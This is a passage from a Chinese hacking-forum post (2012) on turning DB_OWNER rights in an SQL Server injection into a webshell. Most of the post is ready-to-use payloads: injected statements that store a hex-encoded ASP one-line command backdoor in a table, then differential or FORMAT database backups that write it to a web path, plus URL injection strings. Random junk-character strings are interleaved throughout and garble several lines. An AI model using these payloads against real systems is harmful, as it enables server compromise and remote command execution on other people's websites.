找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2165|回复: 0
打印 上一主题 下一主题

DB_OWNER权限得到webshell的改进办法

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-9 21:31:07 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
DB_OWNER权限得到webshell的两点改进:2 V- ^+ Y2 O$ c
8 W/ e1 N) m, \2 K; H
减少备份文件大小,得到可执行的webshell成功率提高不少4 P. {' M1 a7 t: u% ?) B
一利用差异备份& b5 L+ V4 i: D7 ?- Q
加一个参数WITH DIFFERENTIAL
0 b. F* p0 |3 J( l8 v- u$ `" t! h
. E! \2 v9 V0 E) m1' H# I( V+ m0 ^2 B$ ]& `0 ~6 [. O
2' j" Z8 z& w2 [9 x8 U) e; _5 C
3. ^& X$ S3 @0 r9 O3 m5 p# F
4
! Q5 i- |1 r2 j- U2 d declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s# I! \- Y8 [: Z
create table [dbo].[xiaolu] ([cmd] [image]);
6 ?0 [1 b& ]' w9 K' Rinsert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
) V4 f. X; y; m! g6 ^declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL " H4 q  u* \6 S; H/ G% F) @& w
' H  _  D  [' K- F
二利用完全FORMAT; M) c- X" f( d/ N
加一个参数WITH FROMAT
$ a& x8 m1 N3 Y$ c: H: O7 S& q0 ~有些页面对数据库要执行几次,而备份又默认是每次都以追加的方式,如果一个注入点对数据库有几次操作,而备份的文件就 几倍的增加,所以
7 U6 x% W+ Y" Q8 Q8 c( ]! Y1 e; z5 E
8 l! v6 U& k/ y/ W; G1
, K( H9 m- r! c3 }2 X; M2 b2$ Y$ C+ f/ I6 W  D
3! a* W9 t4 _& \! ~% Q
4% F4 r: F, R- n% J5 T
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s. z# j2 U% g0 V- r: ~3 X
create table [dbo].[xiaolu] ([cmd] [image]);
4 d  f8 V; ?$ S# _+ Hinsert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)6 h; d( a, @  E8 k( ^7 e
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT
" G( K9 @1 z, `( u: a$ g- P7 o* |/ M8 X' C2 Z9 C, B. J6 L
总的来说就是那么简单几句,下面以备份数据库model为例子" T8 p, t6 }- H4 D
1
1 z& D1 |9 ^, t6 p/ r7 R5 y
; Z: \- s5 O5 t& }1* n. ?  d; ?7 U" a
id=1;use model create table cmd(str image);insert into cmd(str) values ('<%25execute(request("a"))%25>') 8 X5 K4 ~' q: c1 W2 v1 L* b- }) N
0 @1 R& M: c" ~
2" u. t2 z' ~6 Q

/ E+ ^1 M) y1 S3 G$ `1
/ I8 |+ h0 l+ Z  b4 E id=1;backup database model to disk='你的路径‘ with differential,format;--
1 J, @, U( S) i4 r8 w' h
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表